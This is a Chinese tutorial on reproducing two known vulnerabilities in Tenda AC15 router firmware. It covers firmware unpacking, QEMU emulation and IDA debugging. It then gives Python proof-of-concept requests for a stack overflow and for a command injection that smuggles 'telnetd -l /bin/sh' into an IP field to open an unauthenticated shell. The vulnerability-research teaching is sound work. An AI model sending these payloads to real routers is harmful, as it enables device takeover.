Tenda AC15固件漏洞复现与分析
字数 3377 2025-10-18 11:16:48

Tenda AC15 固件漏洞复现与分析教学文档

一、 前言与目标

核心思想:学习物联网(IoT)漏洞挖掘最有效的方法之一是亲手复现已知漏洞。本文档将以 Tenda AC15 路由器为例,完整演练从固件获取到漏洞复现的全过程。

学习目标

  1. 掌握 IoT 固件的基本分析方法。
  2. 学会使用必要的工具进行信息搜集和静态分析。
  3. 掌握使用 QEMU 模拟 ARM 架构固件运行环境的方法。
  4. 掌握使用 IDA Pro 进行动态调试和代码修补(Patching)的技巧。
  5. 成功复现栈溢出和命令注入两类经典漏洞。

二、 环境与工具准备

目标固件:Tenda AC15,版本号 15.03.05.19

必需工具列表

  • 固件提取与分析binwalk
  • 信息搜集Firmwalker, Trommel
  • 架构模拟qemu-user-static
  • 静态分析与动态调试:IDA Pro(需配备 ARM 处理器支持及 KeyPatch 插件)
  • 脚本语言:Python, Bash

三、 固件获取与解包

  1. 获取固件

    • 从 Tenda 官方网站下载 AC15 的升级软件包。
    • 解压下载的压缩包,得到名为 AC15_15.03.05.19.bin(或类似名称)的固件文件。
  2. 解包固件

    • 使用 binwalk 对固件进行递归解包,提取文件系统。
    binwalk -Me AC15_15.03.05.19.bin
    
    • 解包完成后,主要工作目录为 _AC15_15.03.05.19.bin.extracted/squashfs-root/,此目录即为固件的根文件系统。

四、 信息搜集与初步分析

  1. 使用自动化工具扫描

    • Firmwalker:一个 Bash 脚本,用于在提取的文件系统中搜索敏感信息(如密码文件、SSL 证书、配置文件、脚本、URL、IP 地址等)。

      ./firmwalker.sh /path/to/squashfs-root
      
      • 结果将输出到 firmwalker.txt,需仔细审查。
    • Trommel:另一个用于识别潜在安全威胁指标的工具(如 SSH/SSL 密钥、特定二进制文件、配置文件等)。

      python3 trommel.py /path/to/squashfs-root
      
      • 输出结果可能非常庞大,需结合关键词过滤分析。
  2. 分析启动项

    • 定位并分析 /etc_ro/init.d/rcS 或其他类似启动脚本。该脚本负责系统初始化,关键操作包括:
      • 创建必要的目录(如 /var/etc, /var/webroot)。
      • 将只读目录(/etc_ro/, /webroot_ro/)的内容复制到可写目录(/etc/, /webroot/)。
      • 启动关键服务:telnetd, httpd(Web 服务), vsftpd(FTP), smbd(Samba), minidlna 等。
  3. 确定攻击面

    • 综合分析后,确定主要分析目标为 /bin/httpd(Web 服务器程序),因为它直接面向网络,是常见的漏洞来源。

五、 固件模拟与调试环境搭建

  1. 确定二进制文件架构

    file squashfs-root/bin/httpd
    
    • 输出应为:ELF 32-bit LSB executable, ARM...,表明是 ARM 32 位小端序架构。
  2. 使用 QEMU 进行初始模拟

    • qemu-arm-static 复制到固件根目录 squashfs-root 中。
    • 尝试使用 chroot 模拟环境:
      sudo chroot . ./qemu-arm-static ./bin/httpd
      
    • 问题:程序通常会卡住,无法正常启动,需要动态调试分析原因。
  3. 动态调试与代码修补(Patching)

    • 步骤 1:逆向分析
      • 用 IDA Pro 加载 httpd 二进制文件。
      • 通过字符串视图搜索 "Welcome to..." 等标志性字符串,定位到程序初始化部分。
    • 步骤 2:定位阻塞点
      • 在字符串上方指令设置断点。
      • 使用 QEMU 的 -g 参数开启调试端口:
        sudo chroot . ./qemu-arm-static -g 1234 ./bin/httpd
        
      • 在 IDA Pro 中使用远程调试功能连接至 localhost:1234
      • 运行程序至断点,然后单步跟踪,发现程序陷入一个无限循环的 sleep 或条件跳转中(例如 loc_2E504 处的循环)。
    • 步骤 3:修补二进制文件
      • 使用 IDA 的 KeyPatch 插件,将导致循环的条件跳转指令(如 BGT)修改为无条件跳转指令(B)。
      • 应用补丁并保存新的 httpd 文件。
    • 步骤 4:解决网络绑定问题
      • 修补后再次模拟,程序可能卡在绑定 IP 地址 255.255.255.255 上。
      • 逆向分析 httpd,跟踪 listen 的 IP 地址来源。发现它来自全局变量 g_lan_ip
      • g_lan_ip 的值由 getLanIfName()getIfIp() 等函数动态获取,最终返回接口 br0 的 IP。
      • 解决方案:在 chroot 环境中,为虚拟的 br0 接口设置一个有效 IP(如 192.168.0.1),但更简单的方法是在主机上使用 bridge 网络模式运行 QEMU,并确保 httpd 能获取到有效 IP。
  4. 部署 Web 资源

    • 根据 rcS 脚本,需要将 webroot_ro 目录的内容复制到 webroot 目录,以提供 Web 界面文件。
      cp -r squashfs-root/webroot_ro/* squashfs-root/webroot/
      
  5. 成功模拟

    • 完成以上步骤后,再次运行 chroot 和 QEMU,httpd 服务应能正常启动并监听 192.168.0.1:80。在宿主机的浏览器中访问此地址即可看到路由器的 Web 管理界面。

六、 漏洞挖掘与复现

漏洞挖掘方法论

  • 关注点:重点审计 httpd 中处理前端请求的“set”类函数(如 formSetXxx),这些函数常因对用户输入处理不当而产生漏洞。
  • 漏洞类型与关键函数
    • 栈溢出:关注 strcpy, sprintf, gets 等不检查目标缓冲区大小的危险函数。
    • 命令注入:关注 system, execve, popen 等用于执行系统命令的函数。

漏洞复现 1:栈溢出 (CVE-2025-25634)

  • 漏洞描述/goform/xxx 路由的某个处理函数中,对参数 src 使用 strcpy 复制到固定大小的栈缓冲区 s(大小为 596 字节)时,未检查 src 的长度,导致栈溢出。

  • 复现步骤

    1. 在 IDA 中定位到存在漏洞的函数,验证 strcpy 的使用。
    2. 构造一个超过 596 字节的 HTTP POST 请求,其中包含超长的 src 参数。
    3. 使用 Python 的 requests 库或 curl 命令发送此恶意请求。
    • PoC 示例
      import requests
      
      url = "http://192.168.0.1/goform/vulnerableEndpoint"
      headers = {"Content-Type": "application/x-www-form-urlencoded"}
      # 构造超长数据,覆盖返回地址,可能造成程序崩溃或执行任意代码
      payload = "src=" + "A" * 1000
      
      response = requests.post(url, data=payload, headers=headers)
      print(response.status_code)
      
    1. 观察 httpd 进程是否发生崩溃,验证漏洞存在。

漏洞复现 2:命令注入 (CVE-2025-25632)

  • 漏洞描述/goform/telnet 路由的处理函数中,未对用户输入的 IP 地址参数进行过滤,直接拼接进 doSystemCmd 函数中执行,导致命令注入。

  • 复现步骤

    1. 在 IDA 中定位到 /goform/telnet 的处理函数,找到调用 doSystemCmd 的地方。
    2. 构造特殊的 HTTP 请求,在 IP 地址参数后拼接恶意命令(如 ; telnetd -l /bin/sh)。
    3. 发送此请求,如果成功,将在设备上开启一个无需认证的 Telnet 服务。
    • PoC 示例
      import requests
      
      url = "http://192.168.0.1/goform/telnet"
      headers = {"Content-Type": "application/x-www-form-urlencoded"}
      # 注入命令,在设置 IP 的同时启动 telnet 服务
      payload = "ip=192.168.0.100; telnetd -l /bin/sh &"
      
      response = requests.post(url, data=payload, headers=headers)
      print(response.status_code)
      
    1. 尝试使用 Telnet 连接路由器的 IP 地址,如果成功获得 shell,则证明漏洞复现成功。
      telnet 192.168.0.1
      

七、 总结

本教学文档详细阐述了 IoT 设备固件安全分析的完整流程:

  1. 环境准备:准备好分析工具链。
  2. 固件处理:下载、解包固件,获取文件系统。
  3. 信息搜集:使用自动化工具快速定位敏感信息和潜在攻击面。
  4. 环境模拟:使用 QEMU 和 chroot 模拟运行环境,并通过逆向调试解决模拟过程中遇到的阻塞问题。
  5. 漏洞分析:结合静态分析和动态调试,定位漏洞点,理解其成因。
  6. 漏洞复现:编写 PoC 代码,实际触发漏洞,验证其危害性。

通过复现 Tenda AC15 的栈溢出和命令注入漏洞,可以深刻理解 IoT 设备中常见的代码安全缺陷,为后续自主挖掘漏洞打下坚实基础。


参考:原文链接内容。

Tenda AC15 固件漏洞复现与分析教学文档 一、 前言与目标 核心思想 :学习物联网(IoT)漏洞挖掘最有效的方法之一是亲手复现已知漏洞。本文档将以 Tenda AC15 路由器为例,完整演练从固件获取到漏洞复现的全过程。 学习目标 : 掌握 IoT 固件的基本分析方法。 学会使用必要的工具进行信息搜集和静态分析。 掌握使用 QEMU 模拟 ARM 架构固件运行环境的方法。 掌握使用 IDA Pro 进行动态调试和代码修补(Patching)的技巧。 成功复现栈溢出和命令注入两类经典漏洞。 二、 环境与工具准备 目标固件 :Tenda AC15,版本号 15.03.05.19 必需工具列表 : 固件提取与分析 : binwalk 信息搜集 : Firmwalker , Trommel 架构模拟 : qemu-user-static 静态分析与动态调试 :IDA Pro(需配备 ARM 处理器支持及 KeyPatch 插件) 脚本语言 :Python, Bash 三、 固件获取与解包 获取固件 : 从 Tenda 官方网站下载 AC15 的升级软件包。 解压下载的压缩包,得到名为 AC15_15.03.05.19.bin (或类似名称)的固件文件。 解包固件 : 使用 binwalk 对固件进行递归解包,提取文件系统。 解包完成后,主要工作目录为 _AC15_15.03.05.19.bin.extracted/squashfs-root/ ,此目录即为固件的根文件系统。 四、 信息搜集与初步分析 使用自动化工具扫描 : Firmwalker :一个 Bash 脚本,用于在提取的文件系统中搜索敏感信息(如密码文件、SSL 证书、配置文件、脚本、URL、IP 地址等)。 结果将输出到 firmwalker.txt ,需仔细审查。 Trommel :另一个用于识别潜在安全威胁指标的工具(如 SSH/SSL 密钥、特定二进制文件、配置文件等)。 输出结果可能非常庞大,需结合关键词过滤分析。 分析启动项 : 定位并分析 /etc_ro/init.d/rcS 或其他类似启动脚本。该脚本负责系统初始化,关键操作包括: 创建必要的目录(如 /var/etc , /var/webroot )。 将只读目录( /etc_ro/ , /webroot_ro/ )的内容复制到可写目录( /etc/ , /webroot/ )。 启动关键服务: telnetd , httpd (Web 服务), vsftpd (FTP), smbd (Samba), minidlna 等。 确定攻击面 : 综合分析后,确定主要分析目标为 /bin/httpd (Web 服务器程序),因为它直接面向网络,是常见的漏洞来源。 五、 固件模拟与调试环境搭建 确定二进制文件架构 : 输出应为: ELF 32-bit LSB executable, ARM... ,表明是 ARM 32 位小端序架构。 使用 QEMU 进行初始模拟 : 将 qemu-arm-static 复制到固件根目录 squashfs-root 中。 尝试使用 chroot 模拟环境: 问题 :程序通常会卡住,无法正常启动,需要动态调试分析原因。 动态调试与代码修补(Patching) : 步骤 1:逆向分析 用 IDA Pro 加载 httpd 二进制文件。 通过字符串视图搜索 "Welcome to..." 等标志性字符串,定位到程序初始化部分。 步骤 2:定位阻塞点 在字符串上方指令设置断点。 使用 QEMU 的 -g 参数开启调试端口: 在 IDA Pro 中使用远程调试功能连接至 localhost:1234 。 运行程序至断点,然后单步跟踪,发现程序陷入一个无限循环的 sleep 或条件跳转中(例如 loc_2E504 处的循环)。 步骤 3:修补二进制文件 使用 IDA 的 KeyPatch 插件,将导致循环的条件跳转指令(如 BGT )修改为无条件跳转指令( B )。 应用补丁并保存新的 httpd 文件。 步骤 4:解决网络绑定问题 修补后再次模拟,程序可能卡在绑定 IP 地址 255.255.255.255 上。 逆向分析 httpd ,跟踪 listen 的 IP 地址来源。发现它来自全局变量 g_lan_ip 。 g_lan_ip 的值由 getLanIfName() 和 getIfIp() 等函数动态获取,最终返回接口 br0 的 IP。 解决方案 :在 chroot 环境中,为虚拟的 br0 接口设置一个有效 IP(如 192.168.0.1 ),但更简单的方法是在主机上使用 bridge 网络模式运行 QEMU,并确保 httpd 能获取到有效 IP。 部署 Web 资源 : 根据 rcS 脚本,需要将 webroot_ro 目录的内容复制到 webroot 目录,以提供 Web 界面文件。 成功模拟 : 完成以上步骤后,再次运行 chroot 和 QEMU, httpd 服务应能正常启动并监听 192.168.0.1:80 。在宿主机的浏览器中访问此地址即可看到路由器的 Web 管理界面。 六、 漏洞挖掘与复现 漏洞挖掘方法论 : 关注点 :重点审计 httpd 中处理前端请求的“set”类函数(如 formSetXxx ),这些函数常因对用户输入处理不当而产生漏洞。 漏洞类型与关键函数 : 栈溢出 :关注 strcpy , sprintf , gets 等不检查目标缓冲区大小的危险函数。 命令注入 :关注 system , execve , popen 等用于执行系统命令的函数。 漏洞复现 1:栈溢出 (CVE-2025-25634) 漏洞描述 : /goform/xxx 路由的某个处理函数中,对参数 src 使用 strcpy 复制到固定大小的栈缓冲区 s (大小为 596 字节)时,未检查 src 的长度,导致栈溢出。 复现步骤 : 在 IDA 中定位到存在漏洞的函数,验证 strcpy 的使用。 构造一个超过 596 字节的 HTTP POST 请求,其中包含超长的 src 参数。 使用 Python 的 requests 库或 curl 命令发送此恶意请求。 PoC 示例 : 观察 httpd 进程是否发生崩溃,验证漏洞存在。 漏洞复现 2:命令注入 (CVE-2025-25632) 漏洞描述 : /goform/telnet 路由的处理函数中,未对用户输入的 IP 地址参数进行过滤,直接拼接进 doSystemCmd 函数中执行,导致命令注入。 复现步骤 : 在 IDA 中定位到 /goform/telnet 的处理函数,找到调用 doSystemCmd 的地方。 构造特殊的 HTTP 请求,在 IP 地址参数后拼接恶意命令(如 ; telnetd -l /bin/sh )。 发送此请求,如果成功,将在设备上开启一个无需认证的 Telnet 服务。 PoC 示例 : 尝试使用 Telnet 连接路由器的 IP 地址,如果成功获得 shell,则证明漏洞复现成功。 七、 总结 本教学文档详细阐述了 IoT 设备固件安全分析的完整流程: 环境准备 :准备好分析工具链。 固件处理 :下载、解包固件,获取文件系统。 信息搜集 :使用自动化工具快速定位敏感信息和潜在攻击面。 环境模拟 :使用 QEMU 和 chroot 模拟运行环境,并通过逆向调试解决模拟过程中遇到的阻塞问题。 漏洞分析 :结合静态分析和动态调试,定位漏洞点,理解其成因。 漏洞复现 :编写 PoC 代码,实际触发漏洞,验证其危害性。 通过复现 Tenda AC15 的栈溢出和命令注入漏洞,可以深刻理解 IoT 设备中常见的代码安全缺陷,为后续自主挖掘漏洞打下坚实基础。 参考 :原文链接内容。